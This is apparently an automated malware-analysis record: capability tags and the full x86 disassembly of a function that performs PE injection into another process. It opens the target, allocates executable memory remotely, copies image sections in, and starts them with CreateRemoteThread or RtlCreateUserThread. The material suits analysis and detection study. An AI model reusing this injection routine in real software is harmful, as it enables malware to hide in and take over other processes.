Function at 0x401600
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, eax
xor eax, eax
mov dword [ebp - 4], eax
test edi, edi
je 0x401853
cmp dword [ebp + 8], eax
je 0x401853
cmp dword [ebp + 0xc], eax
je 0x401853
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
xor esi, esi
push edi
call fcn.00401cf0
test eax, eax
jne 0x401646
push 0x64
call ebx
inc esi
cmp esi, 0x1e
jl 0x401632
push edi
call fcn.00401cf0
test eax, eax
je 0x40184e
push edi
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
je 0x40184e
push 0x408170
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4016a6
push 0x40affc
push eax
call edi
mov ebx, eax
test ebx, ebx
je 0x4016a6
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
cmp dword [ebp - 8], 0
je 0x4016df
push 0x408170
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4016d5
push 0x40affc
push eax
call edi
test eax, eax
je 0x4016d5
lea ecx, [ebp - 8]
push ecx
push esi
call eax
cmp dword [ebp - 8], 0
je 0x401847
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
mov ebx, dword [ecx + 0x3c]
mov edx, dword [ebp + 0xc]
add ebx, ecx
mov edi, eax
neg edi
sbb edi, edi
and edi, edx
mov dword [ebx + 0x58], edi
xor edi, edi
mov word [ecx], di
test eax, eax
mov eax, dword [ebx + 0x50]
mov dword [ebx], edi
je 0x401708
add eax, edx
push 0x40
push 0x3000
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
je 0x401847
mov eax, dword [ebx + 0x54]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x14]
push edx
push eax
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx edx, word [ebx + 0x14]
xor ecx, ecx
lea eax, [edx + ebx + 0x18]
mov dword [ebp - 8], 0
cmp cx, word [ebx + 6]
jae 0x4017bf
lea esi, [eax + 8]
mov edx, dword [esi]
push 4
push 0x3000
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x4017a7
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 8]
add ecx, dword [ebp + 8]
push eax
push ecx
push edi
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi]
mov ecx, dword [esi + 4]
add ecx, dword [ebp - 0xc]
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov edx, dword [ebp - 0x10]
push eax
push edi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
movzx ecx, word [ebx + 6]
inc eax
add esi, 0x28
mov dword [ebp - 8], eax
cmp eax, ecx
jl 0x401754
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
cmp dword [ebp + 0x10], 0
je 0x4017de
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x14]
push edx
mov edx, dword [ebx + 0x50]
push eax
push ecx
add edx, edi
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebx + 0x28]
push 0
push 0
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x401825
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
push 0
push 0
push 0
push ebx
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
xor ecx, ecx
test eax, eax
setns cl
mov dword [ebp - 4], ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc